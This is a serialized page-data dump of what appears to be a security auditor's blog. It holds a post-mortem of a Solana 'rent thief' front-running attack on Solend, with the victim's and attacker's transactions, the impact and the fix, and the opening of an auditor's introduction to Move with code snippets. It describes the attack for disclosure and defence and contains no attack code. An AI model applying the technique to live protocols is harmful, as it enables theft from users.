Exploit",{"type":21,"tag":22,"props":8155,"children":8156},{},[8157,8159,8165],{"type":26,"value":8158},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":21,"tag":78,"props":8160,"children":8162},{"className":8161},[],[8163],{"type":26,"value":8164},"init_reserve",{"type":26,"value":8166}," function, which creates 6 new accounts to store data about the reserve:",{"type":21,"tag":126,"props":8168,"children":8169},{},[8170,8175,8180,8185,8196,8201],{"type":21,"tag":91,"props":8171,"children":8172},{},[8173],{"type":26,"value":8174},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":21,"tag":91,"props":8176,"children":8177},{},[8178],{"type":26,"value":8179},"reserve liquidity token account - holds deposited tokens",{"type":21,"tag":91,"props":8181,"children":8182},{},[8183],{"type":26,"value":8184},"fee receiver token account - account which will receive origination fees on borrows",{"type":21,"tag":91,"props":8186,"children":8187},{},[8188,8190],{"type":26,"value":8189},"reserve collateral mint account - deposit receipt token, also known as ",{"type":21,"tag":78,"props":8191,"children":8193},{"className":8192},[],[8194],{"type":26,"value":8195},"cTokens",{"type":21,"tag":91,"props":8197,"children":8198},{},[8199],{"type":26,"value":8200},"reserve collateral token account - holds users' collateral tokens",{"type":21,"tag":91,"props":8202,"children":8203},{},[8204,8206,8212],{"type":26,"value":8205},"creator collateral token account - creator's ",{"type":21,"tag":78,"props":8207,"children":8209},{"className":8208},[],[8210],{"type":26,"value":8211},"cToken",{"type":26,"value":8213}," account",{"type":21,"tag":22,"props":8215,"children":8216},{},[8217,8219,8224,8226,8231,8233,8238,8240],{"type":26,"value":8218},"Account creation and initialization are ",{"type":21,"tag":5302,"props":8220,"children":8221},{},[8222],{"type":26,"value":8223},"usually",{"type":26,"value":8225}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":21,"tag":78,"props":8227,"children":8229},{"className":8228},[],[8230],{"type":26,"value":8164},{"type":26,"value":8232}," is ",{"type":21,"tag":5302,"props":8234,"children":8235},{},[8236],{"type":26,"value":8237},"supposed",{"type":26,"value":8239}," to look like:\n",{"type":21,"tag":3644,"props":8241,"children":8244},{"src":8242,"alt":8243},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":21,"tag":22,"props":8246,"children":8247},{},[8248,8250],{"type":26,"value":8249},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":21,"tag":3644,"props":8251,"children":8253},{"src":8252,"alt":8243},"/posts/rent-thief/attacktransac.png",[],{"type":21,"tag":22,"props":8255,"children":8256},{},[8257],{"type":26,"value":8258},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":21,"tag":22,"props":8260,"children":8261},{},[8262],{"type":26,"value":8263},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":21,"tag":22,"props":8265,"children":8266},{},[8267],{"type":26,"value":8268},"Despite this lost cost, this is pretty annoying...",{"type":21,"tag":66,"props":8270,"children":8272},{"id":8271},"example",[8273],{"type":26,"value":8274},"Example",{"type":21,"tag":22,"props":8276,"children":8277},{},[8278,8280,8287],{"type":26,"value":8279},"Let's take a look at ",{"type":21,"tag":29,"props":8281,"children":8284},{"href":8282,"rel":8283},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[33],[8285],{"type":26,"value":8286},"a real attack",{"type":26,"value":355},{"type":21,"tag":22,"props":8289,"children":8290},{},[8291,8298,8300],{"type":21,"tag":29,"props":8292,"children":8295},{"href":8293,"rel":8294},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[33],[8296],{"type":26,"value":8297},"Transaction 1",{"type":26,"value":8299},":\n",{"type":21,"tag":3644,"props":8301,"children":8303},{"alt":7,"src":8302},"https://i.imgur.com/xJvIwgc.png",[],{"type":21,"tag":22,"props":8305,"children":8306},{},[8307],{"type":26,"value":8308},"(...more accounts truncated)",{"type":21,"tag":22,"props":8310,"children":8311},{},[8312],{"type":26,"value":8313},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":21,"tag":22,"props":8315,"children":8316},{},[8317,8324,8325],{"type":21,"tag":29,"props":8318,"children":8321},{"href":8319,"rel":8320},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[33],[8322],{"type":26,"value":8323},"Attacker's Transaction",{"type":26,"value":8299},{"type":21,"tag":3644,"props":8326,"children":8328},{"alt":7,"src":8327},"https://i.imgur.com/CpSKuL3.png",[],{"type":21,"tag":22,"props":8330,"children":8331},{},[8332],{"type":26,"value":8308},{"type":21,"tag":22,"props":8334,"children":8335},{},[8336],{"type":26,"value":8337},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":21,"tag":22,"props":8339,"children":8340},{},[8341,8348,8349],{"type":21,"tag":29,"props":8342,"children":8345},{"href":8343,"rel":8344},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[33],[8346],{"type":26,"value":8347},"Transaction 2",{"type":26,"value":8299},{"type":21,"tag":3644,"props":8350,"children":8352},{"alt":7,"src":8351},"https://i.imgur.com/of0GIdw.png",[],{"type":21,"tag":22,"props":8354,"children":8355},{},[8356],{"type":21,"tag":3644,"props":8357,"children":8359},{"alt":7,"src":8358},"https://i.imgur.com/0STSyv8.png",[],{"type":21,"tag":22,"props":8361,"children":8362},{},[8363],{"type":26,"value":8364},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":21,"tag":22,"props":8366,"children":8367},{},[8368,8374],{"type":21,"tag":29,"props":8369,"children":8372},{"href":8370,"rel":8371},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[33],[8373],{"type":26,"value":8323},{"type":26,"value":201},{"type":21,"tag":22,"props":8376,"children":8377},{},[8378],{"type":21,"tag":3644,"props":8379,"children":8381},{"alt":7,"src":8380},"https://i.imgur.com/AmSPdmy.png",[],{"type":21,"tag":22,"props":8383,"children":8384},{},[8385],{"type":26,"value":8308},{"type":21,"tag":22,"props":8387,"children":8388},{},[8389],{"type":26,"value":8390},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":21,"tag":66,"props":8392,"children":8394},{"id":8393},"impact",[8395],{"type":26,"value":8396},"Impact",{"type":21,"tag":22,"props":8398,"children":8399},{},[8400],{"type":26,"value":8401},"Rent-thieving attacks don't steal much money.",{"type":21,"tag":22,"props":8403,"children":8404},{},[8405],{"type":26,"value":8406},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":21,"tag":22,"props":8408,"children":8409},{},[8410],{"type":26,"value":8411},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":21,"tag":66,"props":8413,"children":8415},{"id":8414},"solution",[8416],{"type":26,"value":8417},"Solution",{"type":21,"tag":22,"props":8419,"children":8420},{},[8421],{"type":26,"value":8422},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":21,"tag":22,"props":8424,"children":8425},{},[8426,8428,8435],{"type":26,"value":8427},"As a more permenant solution, Solend implemented ",{"type":21,"tag":29,"props":8429,"children":8432},{"href":8430,"rel":8431},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[33],[8433],{"type":26,"value":8434},"an onchain program",{"type":26,"value":8436}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":166,"depth":166,"links":8438},[8439,8440,8441,8442,8443],{"id":8129,"depth":166,"text":8132},{"id":8150,"depth":166,"text":8153},{"id":8271,"depth":166,"text":8274},{"id":8393,"depth":166,"text":8396},{"id":8414,"depth":166,"text":8417},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":8448,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8449,"description":8450,"author":12,"image":8451,"date":8455,"isFeatured":16,"onBlogPage":16,"body":8456,"_type":5619,"_id":11978,"_source":5621,"_file":11979,"_stem":11980,"_extension":5624},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.",{"src":8452,"height":8453,"width":8454},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":18,"children":8457,"toc":11973},[8458,8463,8468,8487,8493,8505,8602,8610,8729,8737,8759,8912,8917,9175,9197,9232,9237,9257,9262,9273,9285,9496,9508,9522,9535,9792,9804,10025,10030,10058,10204,10222,10227,10491,10503,10508,10521,10527,10532,10537,10549,10563,10568,10667,10679,10692,10965,10970,10982,10987,11041,11061,11066,11942,11946,11951,11956,11969],{"type":21,"tag":22,"props":8459,"children":8460},{},[8461],{"type":26,"value":8462},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":21,"tag":22,"props":8464,"children":8465},{},[8466],{"type":26,"value":8467},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":21,"tag":22,"props":8469,"children":8470},{},[8471,8473,8478,8480,8485],{"type":26,"value":8472},"In this piece I'll seek to discuss exactly ",{"type":21,"tag":5302,"props":8474,"children":8475},{},[8476],{"type":26,"value":8477},"how",{"type":26,"value":8479}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":21,"tag":5302,"props":8481,"children":8482},{},[8483],{"type":26,"value":8484},"structurally",{"type":26,"value":8486}," safer programs.",{"type":21,"tag":66,"props":8488,"children":8490},{"id":8489},"types",[8491],{"type":26,"value":8492},"Types",{"type":21,"tag":22,"props":8494,"children":8495},{},[8496,8498,8504],{"type":26,"value":8497},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":21,"tag":78,"props":8499,"children":8501},{"className":8500},[],[8502],{"type":26,"value":8503},"coin.move",{"type":26,"value":355},{"type":21,"tag":143,"props":8506,"children":8508},{"className":145,"code":8507,"language":147,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[8509],{"type":21,"tag":78,"props":8510,"children":8511},{"__ignoreMap":7},[8512,8520,8566,8574,8594],{"type":21,"tag":153,"props":8513,"children":8514},{"class":155,"line":156},[8515],{"type":21,"tag":153,"props":8516,"children":8517},{"style":3050},[8518],{"type":26,"value":8519},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":21,"tag":153,"props":8521,"children":8522},{"class":155,"line":166},[8523,8528,8533,8538,8543,8548,8552,8557,8562],{"type":21,"tag":153,"props":8524,"children":8525},{"style":170},[8526],{"type":26,"value":8527},"  struct",{"type":21,"tag":153,"props":8529,"children":8530},{"style":214},[8531],{"type":26,"value":8532}," Coin",{"type":21,"tag":153,"props":8534,"children":8535},{"style":160},[8536],{"type":26,"value":8537},"\u003C",{"type":21,"tag":153,"props":8539,"children":8540},{"style":192},[8541],{"type":26,"value":8542},"phantom",{"type":21,"tag":153,"props":8544,"children":8545},{"style":214},[8546],{"type":26,"value":8547}," CoinType",{"type":21,"tag":153,"props":8549,"children":8550},{"style":160},[8551],{"type":26,"value":4109},{"type":21,"tag":153,"props":8553,"children":8554},{"style":192},[8555],{"type":26,"value":8556},"has",{"type":21,"tag":153,"props":8558,"children":8559},{"style":192},[8560],{"type":26,"value":8561}," store",{"type":21,"tag":153,"props":8563,"children":8564},{"style":160},[8565],{"type":26,"value":236},{"type":21,"tag":153,"props":8567,"children":8568},{"class":155,"line":225},[8569],{"type":21,"tag":153,"props":8570,"children":8571},{"style":3050},[8572],{"type":26,"value":8573},"      /// Amount of coin this address has.\n",{"type":21,"tag":153,"props":8575,"children":8576},{"class":155,"line":239},[8577,8582,8586,8590],{"type":21,"tag":153,"props":8578,"children":8579},{"style":192},[8580],{"type":26,"value":8581},"      value",{"type":21,"tag":153,"props":8583,"children":8584},{"style":198},[8585],{"type":26,"value":201},{"type":21,"tag":153,"props":8587,"children":8588},{"style":214},[8589],{"type":26,"value":323},{"type":21,"tag":153,"props":8591,"children":8592},{"style":160},[8593],{"type":26,"value":792},{"type":21,"tag":153,"props":8595,"children":8596},{"class":155,"line":382},[8597],{"type":21,"tag":153,"props":8598,"children":8599},{"style":160},[8600],{"type":26,"value":8601},"  }\n",{"type":21,"tag":22,"props":8603,"children":8604},{},[8605],{"type":21,"tag":5302,"props":8606,"children":8607},{},[8608],{"type":26,"value":8609},"aptos",{"type":21,"tag":143,"props":8611,"children":8613},{"className":145,"code":8612,"language":147,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[8614],{"type":21,"tag":78,"props":8615,"children":8616},{"__ignoreMap":7},[8617,8625,8675,8692,8722],{"type":21,"tag":153,"props":8618,"children":8619},{"class":155,"line":156},[8620],{"type":21,"tag":153,"props":8621,"children":8622},{"style":3050},[8623],{"type":26,"value":8624},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":21,"tag":153,"props":8626,"children":8627},{"class":155,"line":166},[8628,8632,8636,8640,8644,8649,8653,8657,8662,8666,8671],{"type":21,"tag":153,"props":8629,"children":8630},{"style":170},[8631],{"type":26,"value":8527},{"type":21,"tag":153,"props":8633,"children":8634},{"style":214},[8635],{"type":26,"value":8532},{"type":21,"tag":153,"props":8637,"children":8638},{"style":160},[8639],{"type":26,"value":8537},{"type":21,"tag":153,"props":8641,"children":8642},{"style":192},[8643],{"type":26,"value":8542},{"type":21,"tag":153,"props":8645,"children":8646},{"style":214},[8647],{"type":26,"value":8648}," T",{"type":21,"tag":153,"props":8650,"children":8651},{"style":160},[8652],{"type":26,"value":4109},{"type":21,"tag":153,"props":8654,"children":8655},{"style":192},[8656],{"type":26,"value":8556},{"type":21,"tag":153,"props":8658,"children":8659},{"style":192},[8660],{"type":26,"value":8661}," key",{"type":21,"tag":153,"props":8663,"children":8664},{"style":160},[8665],{"type":26,"value":1670},{"type":21,"tag":153,"props":8667,"children":8668},{"style":192},[8669],{"type":26,"value":8670},"store",{"type":21,"tag":153,"props":8672,"children":8673},{"style":160},[8674],{"type":26,"value":236},{"type":21,"tag":153,"props":8676,"children":8677},{"class":155,"line":225},[8678,8683,8687],{"type":21,"tag":153,"props":8679,"children":8680},{"style":192},[8681],{"type":26,"value":8682},"      id",{"type":21,"tag":153,"props":8684,"children":8685},{"style":198},[8686],{"type":26,"value":201},{"type":21,"tag":153,"props":8688,"children":8689},{"style":160},[8690],{"type":26,"value":8691}," UID,\n",{"type":21,"tag":153,"props":8693,"children":8694},{"class":155,"line":239},[8695,8700,8704,8709,8713,8718],{"type":21,"tag":153,"props":8696,"children":8697},{"style":192},[8698],{"type":26,"value":8699},"      balance",{"type":21,"tag":153,"props":8701,"children":8702},{"style":198},[8703],{"type":26,"value":201},{"type":21,"tag":153,"props":8705,"children":8706},{"style":214},[8707],{"type":26,"value":8708}," Balance",{"type":21,"tag":153,"props":8710,"children":8711},{"style":160},[8712],{"type":26,"value":8537},{"type":21,"tag":153,"props":8714,"children":8715},{"style":214},[8716],{"type":26,"value":8717},"T",{"type":21,"tag":153,"props":8719,"children":8720},{"style":160},[8721],{"type":26,"value":4308},{"type":21,"tag":153,"props":8723,"children":8724},{"class":155,"line":382},[8725],{"type":21,"tag":153,"props":8726,"children":8727},{"style":160},[8728],{"type":26,"value":8601},{"type":21,"tag":22,"props":8730,"children":8731},{},[8732],{"type":21,"tag":5302,"props":8733,"children":8734},{},[8735],{"type":26,"value":8736},"sui",{"type":21,"tag":22,"props":8738,"children":8739},{},[8740,8742,8749,8751,8757],{"type":26,"value":8741},"Pulling an example from ",{"type":21,"tag":29,"props":8743,"children":8746},{"href":8744,"rel":8745},"https://pontem.network/",[33],[8747],{"type":26,"value":8748},"Pontem Network's",{"type":26,"value":8750}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":21,"tag":78,"props":8752,"children":8754},{"className":8753},[],[8755],{"type":26,"value":8756},"LiquidityPool",{"type":26,"value":8758}," natively embeds this type information into it's fields.",{"type":21,"tag":143,"props":8760,"children":8762},{"className":145,"code":8761,"language":147,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[8763],{"type":21,"tag":78,"props":8764,"children":8765},{"__ignoreMap":7},[8766,8774,8838,8868,8897,8905],{"type":21,"tag":153,"props":8767,"children":8768},{"class":155,"line":156},[8769],{"type":21,"tag":153,"props":8770,"children":8771},{"style":3050},[8772],{"type":26,"value":8773},"    /// Liquidity pool with reserves.\n",{"type":21,"tag":153,"props":8775,"children":8776},{"class":155,"line":166},[8777,8782,8787,8791,8795,8800,8804,8808,8813,8817,8821,8826,8830,8834],{"type":21,"tag":153,"props":8778,"children":8779},{"style":170},[8780],{"type":26,"value":8781},"    struct",{"type":21,"tag":153,"props":8783,"children":8784},{"style":214},[8785],{"type":26,"value":8786}," LiquidityPool",{"type":21,"tag":153,"props":8788,"children":8789},{"style":160},[8790],{"type":26,"value":8537},{"type":21,"tag":153,"props":8792,"children":8793},{"style":192},[8794],{"type":26,"value":8542},{"type":21,"tag":153,"props":8796,"children":8797},{"style":214},[8798],{"type":26,"value":8799}," X",{"type":21,"tag":153,"props":8801,"children":8802},{"style":160},[8803],{"type":26,"value":1670},{"type":21,"tag":153,"props":8805,"children":8806},{"style":192},[8807],{"type":26,"value":8542},{"type":21,"tag":153,"props":8809,"children":8810},{"style":214},[8811],{"type":26,"value":8812}," Y",{"type":21,"tag":153,"props":8814,"children":8815},{"style":160},[8816],{"type":26,"value":1670},{"type":21,"tag":153,"props":8818,"children":8819},{"style":192},[8820],{"type":26,"value":8542},{"type":21,"tag":153,"props":8822,"children":8823},{"style":160},[8824],{"type":26,"value":8825}," LP> ",{"type":21,"tag":153,"props":8827,"children":8828},{"style":192},[8829],{"type":26,"value":8556},{"type":21,"tag":153,"props":8831,"children":8832},{"style":192},[8833],{"type":26,"value":8661},{"type":21,"tag":153,"props":8835,"children":8836},{"style":160},[8837],{"type":26,"value":236},{"type":21,"tag":153,"props":8839,"children":8840},{"class":155,"line":225},[8841,8846,8850,8854,8858,8863],{"type":21,"tag":153,"props":8842,"children":8843},{"style":192},[8844],{"type":26,"value":8845},"        coin_x_reserve",{"type":21,"tag":153,"props":8847,"children":8848},{"style":198},[8849],{"type":26,"value":201},{"type":21,"tag":153,"props":8851,"children":8852},{"style":214},[8853],{"type":26,"value":8532},{"type":21,"tag":153,"props":8855,"children":8856},{"style":160},[8857],{"type":26,"value":8537},{"type":21,"tag":153,"props":8859,"children":8860},{"style":214},[8861],{"type":26,"value":8862},"X",{"type":21,"tag":153,"props":8864,"children":8865},{"style":160},[8866],{"type":26,"value":8867},">,\n",{"type":21,"tag":153,"props":8869,"children":8870},{"class":155,"line":239},[8871,8876,8880,8884,8888,8893],{"type":21,"tag":153,"props":8872,"children":8873},{"style":192},[8874],{"type":26,"value":8875},"        coin_y_reserve",{"type":21,"tag":153,"props":8877,"children":8878},{"style":198},[8879],{"type":26,"value":201},{"type":21,"tag":153,"props":8881,"children":8882},{"style":214},[8883],{"type":26,"value":8532},{"type":21,"tag":153,"props":8885,"children":8886},{"style":160},[8887],{"type":26,"value":8537},{"type":21,"tag":153,"props":8889,"children":8890},{"style":214},[8891],{"type":26,"value":8892},"Y",{"type":21,"tag":153,"props":8894,"children":8895},{"style":160},[8896],{"type":26,"value":8867},{"type":21,"tag":153,"props":8898,"children":8899},{"class":155,"line":382},[8900],{"type":21,"tag":153,"props":8901,"children":8902},{"style":3050},[8903],{"type":26,"value":8904},"        // ...\n",{"type":21,"tag":153,"props":8906,"children":8907},{"class":155,"line":501},[8908],{"type":21,"tag":153,"props":8909,"children":8910},{"style":160},[8911],{"type":26,"value":539},{"type":21,"tag":22,"props":8913,"children":8914},{},[8915],{"type":26,"value":8916},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":21,"tag":143,"props":8918,"children":8920},{"className":145,"code":8919,"language":147,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[8921],{"type":21,"tag":78,"props":8922,"children":8923},{"__ignoreMap":7},[8924,8963,8984,9012,9040,9091,9099,9106],{"type":21,"tag":153,"props":8925,"children":8926},{"class":155,"line":156},[8927,8932,8937,8942,8946,8950,8954,8958],{"type":21,"tag":153,"props":8928,"children":8929},{"style":192},[8930],{"type":26,"value":8931},"      public",{"type":21,"tag":153,"props":8933,"children":8934},{"style":192},[8935],{"type":26,"value":8936}," fun",{"type":21,"tag":153,"props":8938,"children":8939},{"style":192},[8940],{"type":26,"value":8941}," mint",{"type":21,"tag":153,"props":8943,"children":8944},{"style":160},[8945],{"type":26,"value":8537},{"type":21,"tag":153,"props":8947,"children":8948},{"style":214},[8949],{"type":26,"value":8862},{"type":21,"tag":153,"props":8951,"children":8952},{"style":160},[8953],{"type":26,"value":1670},{"type":21,"tag":153,"props":8955,"children":8956},{"style":214},[8957],{"type":26,"value":8892},{"type":21,"tag":153,"props":8959,"children":8960},{"style":160},[8961],{"type":26,"value":8962},", LP>(\n",{"type":21,"tag":153,"props":8964,"children":8965},{"class":155,"line":166},[8966,8971,8975,8980],{"type":21,"tag":153,"props":8967,"children":8968},{"style":192},[8969],{"type":26,"value":8970},"          pool_addr",{"type":21,"tag":153,"props":8972,"children":8973},{"style":198},[8974],{"type":26,"value":201},{"type":21,"tag":153,"props":8976,"children":8977},{"style":192},[8978],{"type":26,"value":8979}," address",{"type":21,"tag":153,"props":8981,"children":8982},{"style":160},[8983],{"type":26,"value":792},{"type":21,"tag":153,"props":8985,"children":8986},{"class":155,"line":225},[8987,8992,8996,9000,9004,9008],{"type":21,"tag":153,"props":8988,"children":8989},{"style":192},[8990],{"type":26,"value":8991},"          coin_x",{"type":21,"tag":153,"props":8993,"children":8994},{"style":198},[8995],{"type":26,"value":201},{"type":21,"tag":153,"props":8997,"children":8998},{"style":214},[8999],{"type":26,"value":8532},{"type":21,"tag":153,"props":9001,"children":9002},{"style":160},[9003],{"type":26,"value":8537},{"type":21,"tag":153,"props":9005,"children":9006},{"style":214},[9007],{"type":26,"value":8862},{"type":21,"tag":153,"props":9009,"children":9010},{"style":160},[9011],{"type":26,"value":8867},{"type":21,"tag":153,"props":9013,"children":9014},{"class":155,"line":239},[9015,9020,9024,9028,9032,9036],{"type":21,"tag":153,"props":9016,"children":9017},{"style":192},[9018],{"type":26,"value":9019},"          coin_y",{"type":21,"tag":153,"props":9021,"children":9022},{"style":198},[9023],{"type":26,"value":201},{"type":21,"tag":153,"props":9025,"children":9026},{"style":214},[9027],{"type":26,"value":8532},{"type":21,"tag":153,"props":9029,"children":9030},{"style":160},[9031],{"type":26,"value":8537},{"type":21,"tag":153,"props":9033,"children":9034},{"style":214},[9035],{"type":26,"value":8892},{"type":21,"tag":153,"props":9037,"children":9038},{"style":160},[9039],{"type":26,"value":4308},{"type":21,"tag":153,"props":9041,"children":9042},{"class":155,"line":382},[9043,9048,9052,9056,9060,9065,9069,9074,9078,9082,9087],{"type":21,"tag":153,"props":9044,"children":9045},{"style":160},[9046],{"type":26,"value":9047},"      )",{"type":21,"tag":153,"props":9049,"children":9050},{"style":198},[9051],{"type":26,"value":201},{"type":21,"tag":153,"props":9053,"children":9054},{"style":214},[9055],{"type":26,"value":8532},{"type":21,"tag":153,"props":9057,"children":9058},{"style":160},[9059],{"type":26,"value":8537},{"type":21,"tag":153,"props":9061,"children":9062},{"style":214},[9063],{"type":26,"value":9064},"LP",{"type":21,"tag":153,"props":9066,"children":9067},{"style":160},[9068],{"type":26,"value":4109},{"type":21,"tag":153,"props":9070,"children":9071},{"style":192},[9072],{"type":26,"value":9073},"acquires",{"type":21,"tag":153,"props":9075,"children":9076},{"style":214},[9077],{"type":26,"value":8786},{"type":21,"tag":153,"props":9079,"children":9080},{"style":160},[9081],{"type":26,"value":1670},{"type":21,"tag":153,"props":9083,"children":9084},{"style":214},[9085],{"type":26,"value":9086},"EventsStore",{"type":21,"tag":153,"props":9088,"children":9089},{"style":160},[9090],{"type":26,"value":236},{"type":21,"tag":153,"props":9092,"children":9093},{"class":155,"line":501},[9094],{"type":21,"tag":153,"props":9095,"children":9096},{"style":3050},[9097],{"type":26,"value":9098},"          // ...\n",{"type":21,"tag":153,"props":9100,"children":9101},{"class":155,"line":533},[9102],{"type":21,"tag":153,"props":9103,"children":9104},{"emptyLinePlaceholder":16},[9105],{"type":26,"value":759},{"type":21,"tag":153,"props":9107,"children":9108},{"class":155,"line":542},[9109,9114,9118,9123,9127,9132,9136,9140,9145,9149,9153,9157,9161,9166,9171],{"type":21,"tag":153,"props":9110,"children":9111},{"style":170},[9112],{"type":26,"value":9113},"          let",{"type":21,"tag":153,"props":9115,"children":9116},{"style":160},[9117],{"type":26,"value":5820},{"type":21,"tag":153,"props":9119,"children":9120},{"style":192},[9121],{"type":26,"value":9122},"x_reserve_size",{"type":21,"tag":153,"props":9124,"children":9125},{"style":160},[9126],{"type":26,"value":1670},{"type":21,"tag":153,"props":9128,"children":9129},{"style":192},[9130],{"type":26,"value":9131},"y_reserve_size",{"type":21,"tag":153,"props":9133,"children":9134},{"style":160},[9135],{"type":26,"value":2362},{"type":21,"tag":153,"props":9137,"children":9138},{"style":198},[9139],{"type":26,"value":2367},{"type":21,"tag":153,"props":9141,"children":9142},{"style":192},[9143],{"type":26,"value":9144}," get_reserves_size",{"type":21,"tag":153,"props":9146,"children":9147},{"style":160},[9148],{"type":26,"value":8537},{"type":21,"tag":153,"props":9150,"children":9151},{"style":214},[9152],{"type":26,"value":8862},{"type":21,"tag":153,"props":9154,"children":9155},{"style":160},[9156],{"type":26,"value":1670},{"type":21,"tag":153,"props":9158,"children":9159},{"style":214},[9160],{"type":26,"value":8892},{"type":21,"tag":153,"props":9162,"children":9163},{"style":160},[9164],{"type":26,"value":9165},", LP>(",{"type":21,"tag":153,"props":9167,"children":9168},{"style":192},[9169],{"type":26,"value":9170},"pool_addr",{"type":21,"tag":153,"props":9172,"children":9173},{"style":160},[9174],{"type":26,"value":530},{"type":21,"tag":22,"props":9176,"children":9177},{},[9178,9180,9186,9188,9195],{"type":26,"value":9179},"As an aside, this generic type information is implemented at runtime in the ",{"type":21,"tag":78,"props":9181,"children":9183},{"className":9182},[],[9184],{"type":26,"value":9185},"ty_args",{"type":26,"value":9187}," ",{"type":21,"tag":29,"props":9189,"children":9192},{"href":9190,"rel":9191},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[33],[9193],{"type":26,"value":9194},"at the vm level",{"type":26,"value":9196},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":21,"tag":22,"props":9198,"children":9199},{},[9200,9202,9208,9210,9216,9218,9224,9225,9231],{"type":26,"value":9201},"In pseucode, this checks that ",{"type":21,"tag":78,"props":9203,"children":9205},{"className":9204},[],[9206],{"type":26,"value":9207},"coin_x.type",{"type":26,"value":9209}," is equal to ",{"type":21,"tag":78,"props":9211,"children":9213},{"className":9212},[],[9214],{"type":26,"value":9215},"pool.x_type",{"type":26,"value":9217},", and ",{"type":21,"tag":78,"props":9219,"children":9221},{"className":9220},[],[9222],{"type":26,"value":9223},"coin_y.type",{"type":26,"value":9209},{"type":21,"tag":78,"props":9226,"children":9228},{"className":9227},[],[9229],{"type":26,"value":9230},"pool.y_type",{"type":26,"value":355},{"type":21,"tag":22,"props":9233,"children":9234},{},[9235],{"type":26,"value":9236},"This type system has two advantages",{"type":21,"tag":126,"props":9238,"children":9239},{},[9240,9252],{"type":21,"tag":91,"props":9241,"children":9242},{},[9243,9245,9250],{"type":26,"value":9244},"It's required. The type parameter 